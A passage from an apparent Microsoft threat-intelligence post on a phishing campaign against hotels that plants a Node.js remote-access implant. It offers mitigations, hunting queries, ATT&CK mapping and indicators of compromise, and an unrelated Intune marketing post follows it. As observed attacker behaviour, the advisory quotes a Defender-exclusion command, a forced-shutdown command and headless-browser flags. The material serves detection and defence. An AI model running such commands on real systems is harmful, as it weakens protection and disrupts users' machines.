What changed between waves  Dimension Wave 1 (April to May 2026) Wave 2 (Late May to June 2026) LNK naming IMG-<random numbers>.png.lnk PHOTO-<random numbers>.png.lnk ZIP contents LNK only LNK (PHOTO- prefix) Attack chain PowerShell → Node.js PowerShell → csc.exe/cvtres.exe → DLL → Node.js Obfuscation Phases 1–6 Phase 7 (for-loop variant) Domain TLDs .info, .com, .pro, .xyz, .cloud, .icu, .sbs Added .cfd, .click, and .bond Infrastructure Direct hosting Cloudflare-fronted .cfd domains C2 domains Photo, document, and visa themes Added zloapobikahy23[.]bond, higoksbupwou[.]com, aluminiostramuntana[.]com 

Summary of campaign evolution from Wave 1 to Wave 2. 

Microsoft assesses that these changes reflect operational maturation rather than a shift in objectives. The threat actor expanded evasion (DLL compilation, Cloudflare fronting) and broadened targeting—all while maintaining the same core attack chain and reusing key infrastructure. 

Persistence survival analysis 

One of the significant findings from Wave 2 is the demonstrated resilience of the dual persistence model under active Defender intervention. 

On a confirmed compromised device, Defender detected and blocked one PE payload (xmnrwv9l.exe, SHA-256: 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1) with Wacatac detections. Despite that block, the Node.js HKCU\Run key persistence remained active. Approximately two days later, the Node.js implant reactivated and resumed C2 communications to new domains. 

Following the initial block, Microsoft observed additional /VERYSILENT EXEs deployed on the same device: 

cBA8H4S5k04jAY.exe eaa3q8BQZcnIOV.exe BaUWXagH4CGZS.exe CJE4domtVFM9LX.exe

Figure 18. Additional payload EXEs deployed after Defender blocked the initial PE, demonstrating the implant’s ability to retry delivery through the surviving Node.js persistence. 

This sequence highlights a remediation consideration: the dual persistence model (RunOnce for the PE payload + Run for Node.js) means that blocking one execution path might not fully neutralize the other. The Node.js implant, if it remains active, can re-download and re-attempt payload delivery. Microsoft assesses that complete remediation of this campaign requires removal of both persistence mechanisms—the ProgramData RunOnce entry and the Node.js Run key—along with the Node.js runtime and associated .js files from the user’s AppData\Local\Nodejs\ directory. 

Figure 16. Persistence and C2 architecture-dual registry keys, persistence survival, and post-compromise. Post-compromise activity 

Microsoft observed a subset of devices reaching clear late-stage post-compromise behavior. On multiple devices, the activity progressed to active C2 beaconing, browser automation with –headless –no-sandbox flags, and environment lookups. Based on the command-line pattern alone, Microsoft assesses that the threat actor likely used automated browser execution rather than manual interactive browsing on those hosts. 

The campaign also performed an environment lookup using ip-api[.]com, observed through 208.95.112[.]1. This behavior is consistent with gathering external network context before continuing operations. Microsoft assesses that this lookup might have helped the operator understand geographic or connectivity attributes of the compromised device environment. 

A final disruptive behavior involved forced shutdown through cmd /c shutdown -s -t 0, observed on multiple devices. Microsoft assesses that immediate shutdown could have served several purposes depending on the host context: interruption of user activity, reduction of defender response time during a specific stage, or concealment of visible symptoms after automated browser tasks or payload launches completed. 

The persistence design itself is a meaningful post-compromise observation. The combination of a durable Node.js launch point in HKCU\Run and a repeatedly refreshed ProgramData payload through HKCU\RunOnce suggests an effort to maintain execution options across user sign-ins while also preserving a secondary recovery path. This RunOnce loop is unusual enough that it might provide defenders with a strong hunting pivot even when file names, domains, or script syntax change. 

Mitigation and protection guidance

Organizations in hospitality and adjacent service industries should prioritize layered detections for this campaign’s behavior sequence rather than any single indicator. Microsoft recommends the following actions based on the observed attack chain: 

1. Treat photo-themed ZIP archives and fake image shortcuts as high risk. Investigate browser-downloaded archives matching photo-<random numbers>.zip and shortcut files matching IMG-<random numbers>.png.lnk or PHOTO-<random numbers>.png.lnk, especially when they’re followed by PowerShell or script interpreter launches. Learn more about attack surface reduction rules 

2. Harden and monitor PowerShell execution. Because the campaign repeatedly used obfuscated BigInt arithmetic across seven phases, defenders should prioritize PowerShell activity that includes unusual combinations of BigInt casting, subtraction or XOR decode logic, byte masking, modulo or division byte extraction, for-loop decode patterns, and subsequent Invoke-WebRequest behavior. Learn more about PowerShell constrained language 

3. Monitor for unexpected .NET compilation. The appearance of csc.exe spawning cvtres.exe and producing small DLLs in user-writable paths, especially when initiated by PowerShell scripts from %TEMP%, is unusual in hospitality environments and should be investigated. 

4. Investigate Node.js execution from user-space paths. node.exe running from C:\Users\<user>\AppData\Local\Nodejs\ with a random .js file and domain argument is unusual in many enterprise environments. Microsoft recommends reviewing whether Node.js is expected on reception, front office, or similarly targeted systems. 

5. Alert on Defender exclusion changes tied to temporary executables. Add-MpPreference -ExclusionProcess aligned to %TEMP% or AppData\Local\Temp should be treated as suspicious when associated with shortcut-driven or script-driven execution chains. Learn more about tamper protection .

6. Hunt for random EXE launches from temporary paths and helper .tmp installers. The campaign uses numerous unique temporary executable filenames and helper is-*.tmp files with /SL5 or /VERYSILENT. These patterns are likely more durable than individual filenames. 

7. Review persistence in both HKCU\Run and HKCU\RunOnce. Pay particular attention to values that launch node.exe from user directories or reference executables under C:\ProgramData\<random>\. Because the campaign refreshes RunOnce, repeated recreation of that value might be a strong signal. Critically, both keys must be removed during remediation—removing only the RunOnce entry leaves the Node.js implant active. 

8. Monitor network connections on the observed non-standard ports. Outbound traffic to 8443, 8445, 8453, 5555, 56001, 56002, and 56003, especially when initiated by node.exe or executables from user profile and temporary paths, should be reviewed promptly. 

9. Block or alert on .cfd domains matching the campaign pattern. Wave 2 domains follow a photo-<digits>[.]cfd naming convention. Organizations should consider blocking these patterns and monitoring for DNS queries to recently registered .cfd domains. 

10. Investigate browser automation and forced shutdown patterns. The combination of –headless –no-sandbox and cmd /c shutdown -s -t 0 might indicate late-stage execution on selected hosts. 

11. Use sector-aware hunting. Because Microsoft observed concentration in hospitality and hotel environments across multiple countries, organizations should review devices associated with front desk, reservation, reception, and guest-facing workflows first. 

Microsoft Defender XDR detections 

Microsoft assesses that Microsoft Defender coverage for this campaign is most effective when it combines process, registry, file, and network telemetry rather than relying on blocking individual indicators of compromise (IOCs). 

TonRAT is the campaign’s implant family (validated on the dropped .ps1 and .js payloads). “Wacatac” and “PureRat” are Microsoft Defender detection names that fire on specific binaries in the attack chain (the LNK or PE payload and the ProgramData persistence executable, respectively). 

Beyond signature-based prevention, Microsoft Defender can surface this campaign through behavioral detections, including alerts such as Suspicious Node.js child process execution and Node.js Hidden Run‑Key Persistence, which are designed to identify implant activity even as file names, domains, and script syntax change. 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Tactic Observed activity Microsoft Defender coverage Initial access Photo-themed ZIP with fake image LNK Microsoft Defender for Endpoint 
Trojan:Win32/Wacatac prevented Execution Obfuscated PowerShell BigInt decoder downloads a .ps1 dropper Microsoft Defender for Endpoint 
Suspicious PowerShell command line

Microsoft Defender Antivirus 
TrojanDropper:PowerShell/TonRAT Node.js runs the decrypted malicious JavaScript implant Microsoft Defender for Endpoint 
Suspicious Node.js child process execution
 
Microsoft Defender Antivirus 
Trojan:JS/TonRAT Persistence Dual Run/RunOnce registry keys (Node.js + ProgramData EXE) Microsoft Defender for Endpoint 
Anomaly detected in ASEP registry Node.js Hidden Run‑Key Persistence

Microsoft Defender Antivirus 
Trojan:Win32/PureRat  Microsoft Security Copilot 

Microsoft Security Copilot customers can use the following prebuilt promptbooks to support investigation and response for activity related to this campaign: 

• Incident investigation: Summarize incidents and triage alerts related to Node.js persistence, PowerShell decode chains, and registry modification.

• Microsoft User analysis: Profile compromised hospitality accounts (reception, frontdesk, reservations) for scope assessment.

Advanced hunting queries 

Microsoft Defender XDR 

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.     

Fake image shortcut execution (both LNK naming patterns) 

This query identifies execution of shortcut files matching the campaign’s photo-themed LNK naming convention across both Wave 1 and Wave 2 patterns. 

DeviceProcessEvents | where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe" | where ProcessCommandLine has ".lnk" | where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk" | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Node.js implant execution from user-space paths 

This query identifies Node.js execution from the campaign’s characteristic AppData\Local\Nodejs\ staging path with JavaScript payload arguments. 

DeviceProcessEvents | where FileName =~ "node.exe" | where FolderPath has @"\AppData\Local\Nodejs\" | where ProcessCommandLine has ".js" | project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

.NET DLL compilation from PowerShell-downloaded scripts (Wave 2) 

This query detects the Wave 2 attack chain expansion where PowerShell scripts trigger dynamic .NET compilation through csc.exe.

DeviceProcessEvents | where FileName in~ ("csc.exe", "cvtres.exe") | where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe") or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" | project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Defender process exclusions followed by Temp execution 

This query correlates Defender exclusion modifications with subsequent executable launches from temporary paths within a 30-minute window. 

let exclusionEvents = DeviceProcessEvents | where FileName in~ ("powershell.exe", "pwsh.exe") | where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess" | project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine; let tempExecs = DeviceProcessEvents | where FolderPath has @"\AppData\Local\Temp\" | where FileName endswith ".exe" or ProcessCommandLine has ".exe" | project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine; exclusionEvents | join kind=inner tempExecs on DeviceId | where TempExecTime between (ExclusionTime .. ExclusionTime + 30m) | project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd | order by ExclusionTime desc

Installer or unpacker behavior using is-.tmp and silent flags 

This query identifies the campaign’s characteristic use of temporary installer files with silent execution flags. 

DeviceProcessEvents | where ProcessCommandLine has @"\is-" and ProcessCommandLine has ".tmp" | where ProcessCommandLine has_any ("/SL5", "/VERYSILENT") | project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Registry persistence to Node.js and ProgramData 

This query detects creation or modification of Run or RunOnce values pointing to the campaign’s persistence locations. 

DeviceRegistryEvents | where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run" or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce" | where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\") | project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Non-standard port beaconing from Node.js or suspicious user-space binaries 

This query identifies network connections on the campaign’s observed C2 ports from suspicious process locations. 

DeviceNetworkEvents | where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003) | where InitiatingProcessFileName =~ "node.exe" or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\" or InitiatingProcessFolderPath has @"\ProgramData\" | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl | order by Timestamp desc

Wave 2 .cfd and .bond domain connections 

This query detects network connections to the campaign’s Wave 2 domain infrastructure. 

DeviceNetworkEvents | where RemoteUrl has_any (".cfd", ".bond", ".click") | where RemoteUrl has "photo-" or RemoteUrl has_any ("zloapobikahy23", "higoksbupwou", "aluminiostramuntana") | project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Browser automation and forced shutdown on previously affected hosts 

This query identifies late-stage post-compromise behavior on hosts already showing earlier campaign indicators. 

let suspiciousHosts = DeviceProcessEvents | where FileName =~ "node.exe" and FolderPath has @"\AppData\Local\Nodejs\" | distinct DeviceId; DeviceProcessEvents | where DeviceId in (suspiciousHosts) | where ProcessCommandLine has_any ("--headless", "--no-sandbox", "shutdown -s -t 0") | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Calendly-associated notification infrastructure used in phishing delivery 

This query identifies emails from the campaign’s Calendly-associated subdomain with the characteristic display name. 

EmailEvents | where SenderMailFromDomain =~ "em1618.calendly.com" | where SenderMailFromAddress startswith "bounces+13766497-" or SenderDisplayName has "Booking Manager" | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation, ThreatTypes | order by Timestamp desc

share.google redirect token detection in email URLs 

This query detects emails containing share.google redirect URLs, which the campaign uses as an intermediate hop to obscure the final phishing destination. 

EmailUrlInfo | where Url contains "share.google/" | join kind=inner EmailEvents on NetworkMessageId | where SenderMailFromDomain has "calendly" or SenderDisplayName has "Booking" | project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction | order by Timestamp desc

Calendly redirect URL phishing detection 

This query identifies emails containing Calendly redirect URLs that match known campaign patterns, including share.google tokens or photo-*.cfd domains. 

EmailUrlInfo | where Url contains "calendly.com/url?q=" | where Url has_any ("share.google", "photo-", ".cfd") | join kind=inner EmailEvents on NetworkMessageId | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, Url, DeliveryAction, AuthenticationDetails | order by Timestamp desc

High-frequency file hash hunting (combined Waves 1 and 2) 

This query hunts for all known campaign file hashes across endpoint telemetry.

let hashes = dynamic([ "83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7", "06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969", "04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1", "1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a", "2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc", "3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44", "63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae", "49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd", "6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9", "f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14", "98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8", "bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9", "89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028", "1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd", "9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2", "97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f", "c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5", "b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea" ]); DeviceFileEvents | where SHA256 in (hashes) | project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc Microsoft Sentinel

Microsoft Sentinel customers can use the Microsoft Defender XDR connector to ingest the above queries or leverage the Threat Intelligence Mapping analytics rule to match campaign IOCs against ingested logs. 

MITRE ATT&CK techniques  Tactic Technique ID Technique Name Observed Activity Resource Development  T1583.001 Acquire Infrastructure: Domains Short-lived .cfd landing domains (photo-26653[.]cfd, photo-26656[.]cfd, photo-27857[.]cfd) are registered and rotated every 2–3 days  T1583.006 Acquire Infrastructure: Web Services Use of Calendly account (em1618.calendly[.]com) and generated share[.]google redirect tokens to relay phishing  T1584.006 Compromise Infrastructure: Web Services Suspected use of a compromised legitimate domain (ginrinsou[.]com) as an alternate sending relay  Initial Access  T1566.002 Phishing: Spearphishing Link Calendly notification emails carrying redirect links (observed from late May 2026) T1199 Trusted Relationship Authentication laundering through Calendly’s SendGrid infrastructure Execution  T1204.002 User Execution: Malicious File User opens fake image LNK (IMG-/PHOTO-*.png.lnk) T1059.001 PowerShell Obfuscated bigint decoder downloads .ps1 T1059.007 JavaScript Node.js implant executes .js payload with C2 domain Defense Evasion T1027 Obfuscated Files or Information Seven-phase PowerShell obfuscation evolution  T1027.004 Compile After Delivery csc.exe compiles .NET DLL on-target (Wave 2) T1036 Masquerading LNK files disguised as .png images T1562.001 Disable or Modify Tools Add-MpPreference exclusions for Temp EXE files Persistence T1547.001 Registry Run Keys / Startup Folder Dual Run (Node.js) + RunOnce (ProgramData EXE) Discovery T1016 System Network Configuration Discovery ip-api[.]com geolocation lookup Command & Control T1571 Non-Standard Port C2 on ports 8443, 8445, 8453, 5555, 56001-56003  Indicators of compromise  Observed C2 IPs and non-standard ports  Indicator Type Description 178.16.54[.]27 IP Primary — Active in both waves, ports 56001/56002 95.217.97[.]121 IP Persistent beacon (Wave 1) 193.202.84[.]32 IP Secondary (Wave 1) 178.16.55[.]179 IP Additional (Wave 1) 172.67.161[.]215 IP phishing TonRAT C2 (Cloudflare shared CDN ) 8443, 8445, 8453 Port Non-standard C2 ports 5555 Port Non-standard C2 port 56001, 56002, 56003 Port Non-standard C2 ports  Representative observed domains  Wave 1 domains  Indicator Type Description prejointl[.]info Domain C2 domain safedocphoto[.]info Domain C2 domain recallnine[.]info Domain C2 domain kentjerk[.]info Domain C2 domain photodoc-secure[.]info Domain C2 domain kelopins[.]info Domain C2 domain docstore-safe[.]info Domain C2 domain photosafe-hub[.]info Domain C2 domain dashgamein[.]info Domain C2 domain image-vlt[.]info Domain C2 domain safedoc-storage[.]info Domain C2 domain safe-picvault[.]info Domain C2 domain photo-dekor[.]xyz Domain C2 domain reservebookphot[.]pro Domain C2 domain kellystreets[.]info Domain C2 domain widjssij728dj[.]com Domain C2 domain docshub-01[.]info Domain C2 domain photobookadm[.]pro Domain C2 domain safedoc-vault[.]info Domain C2 domain keypmenu[.]info Domain C2 domain photo-box[.]info Domain C2 domain expedla-getphoto[.]cloud Domain C2 domain vertualstreak[.]info Domain C2 domain montagelips[.]info Domain C2 domain racestrech[.]info Domain C2 domain derbyoni[.]info Domain C2 domain ministrew[.]info Domain C2 domain visaphoto-secure[.]info Domain C2 domain docshub-secure[.]com Domain C2 domain visaimage-storage[.]icu Domain C2 domain lookinlip[.]info Domain C2 domain safephoto-vault[.]info Domain C2 domain kiptownim[.]info Domain C2 domain finallyrain[.]info Domain C2 domain photobook-reserv[.]pro Domain C2 domain bookreservphoto[.]pro Domain C2 domain imagestore-hub[.]info Domain C2 domain visaimages[.]info Domain C2 domain visaphoto-vault[.]info Domain C2 domain visa-vault[.]info Domain C2 domain visa-safedocs[.]info Domain C2 domain joincroud[.]info Domain C2 domain kinghoruswe[.]info Domain C2 domain snapkeep[.]info Domain C2 domain deeprace[.]info Domain C2 domain lestresot[.]info Domain C2 domain recepyman[.]info Domain C2 domain recstrace[.]info Domain C2 domain heliosup[.]info Domain C2 domain fairyspells[.]info Domain C2 domain hakeiwjs727wj[.]com Domain C2 domain haobbao[.]com Domain C2 domain dancamp[.]info Domain C2 domain sec-safe-dc[.]info Domain C2 domain — Active in both waves secure-imagehub[.]info Domain C2 domain doc-imagehub[.]info Domain C2 domain imagevault-safe[.]info Domain C2 domain photo-hub-io[.]info Domain C2 domain safevault-hub[.]info Domain C2 domain tripadvisor-photo-view[.]com Domain C2 domain photo-7216302[.]sbs Domain C2 domain  Wave 2 domains   Indicator Type Description photo-26254[.]cfd Domain  Phishing landing page   photo-132454[.]cfd Domain  Phishing landing page   photo-8632454[.]cfd Domain  Phishing landing page   photo-21473[.]xyz Domain C2 domain photo-7216102[.]click Domain C2 domain zloapobikahy23[.]bond Domain C2 domain higoksbupwou[.]com Domain C2 domain aluminiostramuntana[.]com Domain C2 domain photo-26653[.]cfd Domain Phishing landing page photo-26654[.]cfd Domain Phishing landing page photo-26656[.]cfd Domain Phishing landing page photo-27857[.]cfd Domain Phishing landing page 

Microsoft has assigned malicious ratings to these domains, and they are being blocked. 

File hashes  Indicator Type Description 83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7 SHA-256 Campaign payload (Wave 1) 06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969 SHA-256 Campaign payload (Wave 1) 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1 SHA-256 PE payload (xmnrwv9l.exe) — Same hash in both waves 1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a SHA-256 Campaign payload (Wave 1) 2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc SHA-256 Campaign payload (Wave 1) 3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44 SHA-256 Campaign payload (Wave 1) 63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae SHA-256 Campaign payload (Wave 1) 49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd SHA-256 Campaign payload (Wave 1) 6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9 SHA-256 Campaign payload (Wave 1) da4b72764ae929050353f3da759c839e2a061a8b9a8dd3c3b2e909d4a8a3291c SHA-256 Campaign payload (Wave 1) f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14 SHA-256 Campaign payload (Wave 1) 98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8 SHA-256 Campaign payload (Wave 1) bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9 SHA-256 Campaign payload (Wave 1) 89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028 SHA-256 Campaign payload (Wave 1) 1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd SHA-256 Campaign payload (Wave 1) 9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2 SHA-256 IMG-386443483.png.lnk (Wave 2) 97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f SHA-256 PHOTO-215746435.png.lnk (Wave 2) c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5 SHA-256 qFWe908J.ps1 (419 KB, Wave 2) b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea SHA-256 bjygtujc.dll (3,072 bytes, compiled .NET, Wave 2) d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11 SHA-256 node.exe (v24.13.0-win-x64, 89.9 MB)  Key behavioral patterns  Indicator Type Description Pattern A Behavior Obfuscated PowerShell downloader: BigInt decoder → iwr → .ps1 Pattern B Behavior .NET DLL compilation: csc.exe → cvtres.exe → <random>.dll (Wave 2) Pattern C Behavior Node.js implant: node.exe <random>.js <domain> Pattern D Behavior Defender exclusion: Add-MpPreference -ExclusionProcess Pattern E Behavior Temp EXE execution: Numerous random filenames Pattern F Behavior Installer or unpacker: *.tmp with /SL5 or /VERYSILENT Pattern G Behavior ProgramData copy: Lowercase, same hash Pattern H Behavior RunOnce loop persistence: Value refreshed after each execution Pattern I Behavior Browser automation: –headless –no-sandbox Pattern J Behavior Forced shutdown: cmd /c shutdown -s -t 0 Pattern K Behavior Persistence survival: Node.js Run key survives Defender PE block Pattern L Behavior Authentication laundering: Direct-path Calendly email passes SPF/DKIM/DMARC/CompAuth (share.google variant fails authentication) Pattern M   Behavior Multi-hop redirect: Calendly → share.google → Google → photo-*.cfd Pattern N Behavior Domain rotation: photo-*.cfd domains with ~2–3 day lifespan  References 

• Technical Analysis of Suspicious Emails Targeting the Hotel Industry | SOC Prime
• ITOCHU Cyber & Intelligence

This research is provided by Microsoft Defender Security Research,  Parth Jamodkar, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access appeared first on Microsoft Security Blog.

The endpoint management category is being redefined in real time. Organizations no longer need tools that only inventory devices or enforce configuration policies; they need a platform that connects identity, security, compliance, and AI governance across every endpoint where work happens. Microsoft’s recognition as a Leader in The Forrester Wave™: Endpoint Management Platforms, Q2 2026 report reflects that shift—and the role Microsoft Intune plays in helping organizations manage what’s next.

Read the report here for the full evaluation Figure 1: Forrester Wave showing Microsoft in a Leader position for both strength of offering and strategy Why Microsoft Intune is a leader in endpoint management

The Forrester Wave™ Endpoint Management Platforms, Q2 2026 report includes eight endpoint management platform providers, assessed across current offering, strategy, and customer feedback. Forrester’s assessment of Microsoft reflects how Intune is built. The vision Forrester describes is one built on Microsoft Entra, Microsoft Defender, Windows, and Windows 365 as a connected system, not a collection of adjacent tools. Customers can enforce conditional access, apply compliance policies, and correlate device health signals from a single admin center. That reach is what the cross-platform, cloud-native architecture is built for.

Microsoft Intune offers a strong platform for Windows environments, as customer feedback in the Forrester report notes, and Intune brings management across Windows, macOS, iOS, and Android together in the same admin console. That leadership extends from information worker devices to the frontline worker endpoints that are increasingly critical to business operations. On macOS specifically, Intune uses declarative device management to apply configuration and compliance policies natively, without requiring a separate tool or an additional management layer. Frontline workers on shared kiosks and handheld scanners, and information workers on corporate laptops, fall under the same policies without requiring parallel toolchains.

Endpoint Privilege Management (EPM) received explicit recognition from Forrester, which noted that AI embedded in Intune powers EPM and device onboarding workflows to help IT analyze device data and troubleshoot issues. Elevating or restricting privileges used to require manual review cycles. With AI in that workflow, admins make faster decisions on which requests to approve, deny, or escalate.

Security Copilot in Intune operates directly within the admin experience, operating on the same data and policy surface IT teams already use. From policy configuration, to identifying vulnerabilities, and recommending remediation, agentic assistance handles investigation and triage so admins focus on decisions that need judgment. The recent public preview of the Vulnerability Remediation Agent extends that further, drawing on Microsoft Defender Vulnerability Management to surface CVEs across Intune-managed Windows devices and apps, with Copilot-assisted impact summaries, suggested actions, and step-by-step remediation guidance, all without leaving the console.

These capabilities do not stand alone. Forrester also recognized a superior partner strategy. Our strategy helps connect endpoint management to the service desk, device procurement, and mobile threat defense tools already in the environment. Endpoint management that stops at the device boundary does not close the loop on risk. Intune, with capabilities such as EPM and AI-assisted remediation, brings its partner ecosystem together to help turn Zero Trust from core principles into daily IT practice: apply least privilege, verify explicitly, and enforce through policy to prevent breach.

On licensing, Forrester’s independent customer feedback pointed to the economic value of Microsoft simplified, bundled pricing. Intune is included in Microsoft 365 E3 and Microsoft 365 E5. Starting this month, advanced management solutions of the Intune Suite, including EPM, join those plans automatically. Full details are in our announcement blog: Microsoft 365 adds advanced Microsoft Intune solutions at scale. We continue to invest in areas such as unattended remote access sign-in for Intune Remote Help and automatic updates of required apps for Intune Enterprise Application Management, both of which will roll out for general availability in July 2026, and Intune now supports Red Hat Enterprise Linux 9 and 10.

Governing AI for the future of work

Every organization putting AI to work in practice needs IT and security teams that can say yes confidently: Yes to new device types, yes to modern workloads, and yes to agents running alongside users. Trust and confidence are requirements for safe AI adoption. Microsoft Agent 365 gives organizations a control plane for agents they can trust, and confidence comes from having a platform where identity, device management, and security policy are already connected. A unified platform does not just reduce complexity. It changes what teams are able to do with their time, and what the organization is able to do with AI.

AI agents are now endpoints, and Intune is the policy layer for Agent 365 that governs how they run. Through Microsoft Execution Containers, Intune gates local agent runtime execution directly on Windows devices, requiring isolation with guardrails like filesystem rules so agents run in controlled environments rather than with unchecked access to host systems. Windows 365 for Agents extends that model to cloud PCs provisioned specifically for agent workloads: Each agent Cloud PC is Entra-joined and Intune-managed, configured with the same security, compliance, and policy controls as user devices, so governance scales without new infrastructure.

For shadow AI, Intune is one of three signals alongside Defender and Entra that surface unmanaged agents. Defender discovers agents and adds inline protection; Intune applies policies to block common execution methods and device-level runtime security policies, giving multiple connected signals and one coordinated posture rather than multiple parallel workflows. That is how AI moves from an isolated pilot into the daily practice of how organizations operate, govern and protect AI, not just enable it.

At Microsoft, we believe Forrester’s assessment reflects where the market is heading, where governance, identity, and security work as one system. Each capability is more effective because it operates on shared signal, not siloed data. Microsoft Intune helps organizations reduce complexity, strengthen security, and make AI adoption practical at scale—governed and protected.

Learn more about Microsoft Intune solutions. Bookmark the Microsoft Intune blog to keep up with our expert coverage on endpoint management.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

